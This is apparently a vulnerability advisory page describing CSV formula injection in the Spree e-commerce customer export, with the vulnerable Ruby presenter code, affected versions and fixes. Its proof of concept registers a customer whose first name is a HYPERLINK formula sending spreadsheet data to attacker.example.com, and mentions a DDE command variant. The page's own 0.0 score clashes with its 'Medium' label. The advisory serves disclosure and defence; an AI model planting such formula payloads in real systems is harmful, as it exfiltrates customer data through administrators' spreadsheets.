Skip to content

GHSA-xf4v-w5x5-pv79

Spree: CSV Formula Injection in Customer Export

Medium RubyGems
Severity
0.0 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
—
No score published
Known exploited
No
Not in CISA's catalog
Weakness
CWE-1236 Improper Neutralization of Formula Elements in a CSV File
Fix
5.2.8
Upgrade spree to this version or later

Description

Summary

CSV formula injection (also known as formula injection or CSV injection) affects customer export. User-controlled values customer names, email addresses, and shipping addresses. When an administrator opens a crafted Export in Microsoft Excel or LibreOffice Calc, formulas embedded in user data execute in the context of the administrator's desktop, potentially exfiltrating data or executing OS commands via DDE (Dynamic Data Exchange).


Details

Affected presenters and fields

Presenter Path User-controlled fields
CustomerPresenter spree/core/app/presenters/spree/csv/customer_presenter.rb:36 first_name, last_name, address1, address2, city, phone

Vulnerable code — customer_presenter.rb (representative example)

# spree/core/app/presenters/spree/csv/customer_presenter.rb:36–53
def call
  csv = [
    customer.first_name,          # ← written verbatim; may contain =HYPERLINK(...)
    customer.last_name,           # ← user-controlled
    customer.email,              
    customer.accepts_email_marketing ? Spree.t(:say_yes) : Spree.t(:say_no),
    customer.address&.company,    # ← user-controlled
    customer.address&.address1,   # ← user-controlled
    customer.address&.address2,   # ← user-controlled
    customer.address&.city,       # ← user-controlled
    customer.address&.state_text,
    customer.address&.state_abbr,
    customer.address&.country&.name,
    customer.address&.country&.iso,
    customer.address&.zipcode,
    customer.phone,               # ← user-controlled
    customer.amount_spent_in(Spree::Store.current.default_currency),
    customer.completed_orders.count,
  ]
  csv += metafields_for_csv(customer)
  csv
end

PoC

Precondition: A Spree store with public customer registration enabled (default configuration). No special permissions required for the attacker.

Step 1 — Register as a customer with an injected first name

curl -X POST https://store.example.com/api/v3/store/customers \
  -H "Content-Type: application/json" \
  -H "X-Spree-Api-Key: pk_<publishable_api_key>" \
  -d '{
    "email": "attacker@evil.com",
    "password": "password123",
    "password_confirmation": "password123",
    "first_name": "=HYPERLINK(\"http://attacker.example.com/exfil?d=\"&B1,\"Click\")",
    "last_name": "Smith"
  }'

Step 2 — Admin triggers a customer export

curl -X POST https://store.example.com/api/v3/admin/exports \
  -H "Authorization: Bearer <admin_jwt>" \
  -H "Content-Type: application/json" \
  -d '{"type": "Spree::Exports::Customers", "record_selection": "all"}'

Step 3 — Admin polls until ready, then downloads

# Poll for completion
curl https://store.example.com/api/v3/admin/exports/<export_id> \
  -H "Authorization: Bearer <admin_jwt>"

# Download
curl https://store.example.com/api/v3/admin/exports/<export_id>/download \
  -H "Authorization: Bearer <admin_jwt>" \
  -o customers.csv

Step 4 — Verify injection in the raw CSV (without opening in Excel)

Open customers.csv in a text editor. The first data row will contain:

"=HYPERLINK(""http://attacker.example.com/exfil?d=""&B1,""Click"")","Smith","attacker@evil.com",...

Step 5 — Admin opens customers.csv in Microsoft Excel (Windows)

  • Excel warns about external data connections; if the administrator clicks Enable, the HYPERLINK formula fires and sends a GET request to http://attacker.example.com/exfil?d=<B1_value>.
  • Cell B1 in the customers export is the Last Name column. Adjacent columns contain email, address, and order total data for all exported customers.
  • With the DDE variant (=CMD|...) on older or unpatched Excel versions, a subprocess is launched on the administrator's machine.

Impact

Vulnerability class: CSV / Formula Injection (CWE-1236)

Who is impacted

  • Administrators who download and open export files in spreadsheet software are the direct victims. Administrative accounts have access to all store data, payment method configurations, customer PII, and full order history.

Realistic attack chain

Step Actor Action Privilege required
1 Attacker Registers as customer Public registration
2 Attacker Sets first_name to formula payload None beyond registration
3 Admin Runs a routine weekly/monthly export Normal operational task
4 Admin Opens CSV in Excel None
5 Attacker Receives exfiltrated spreadsheet data Passive

Data at risk

All data visible to the administrator in the spreadsheet at the time of opening, including:

  • All exported customer emails, names, addresses, phone numbers
  • Order totals and purchase history
  • Any other columns in the same export file

Affected versions

RubyGems

PackageVulnerableFixed in
spree
>= 5.2.0, < 5.2.8
5.2.8
spree
>= 5.3.0, < 5.3.6
5.3.6
spree
>= 5.4.0, < 5.4.3
5.4.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

spree RubyGems → 5.2.8

bundler
bundle update spree # Gemfile: gem "spree", ">= 5.2.8"

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
Active
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-1236: Improper Neutralization of Formula Elements in a CSV File

The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.

How to prevent it
  • Implementation: When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).
  • Implementation: If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.
  • Architecture and Design: Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.

References

Timeline

  1. Published
  2. Last updated by the source
AdvisorySeverityWhy it's related
GHSA-x485-rhg3-cqr4
Spree Commerce is vulnerable to RCE through Search API
Critical Also affects spree
GHSA-97vm-c39p-jr86
Spree has Remote Command Execution vulnerability in search functionality
Critical Also affects spree
GHSA-7h48-m3rw-vr27
Spree does not properly restrict the use of a hash to provide values for a model's attributes
Medium Also affects spree
GHSA-g466-57gh-cqfw
Spree uses a hardcoded hash value
Medium Also affects spree
GHSA-hwrx-wc75-mgh7
Spree allows remote attackers to obtain sensitive information
Medium Also affects spree
GHSA-f8cm-364f-q9qh
Ensure that doorkeeper_token is valid when authenticating requests in API v2 calls
High Also affects spree
GHSA-jxx8-v83v-rhw3
Spree Improper Input Validation vulnerability
Medium Also affects spree
GHSA-2p5x-4jr6-x5jg
FacturaScripts: CSV formula injection in CSVExport allows authenticated low-priv users to plant payloads that execute when an admin opens the export
High Same weakness, CWE-1236
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor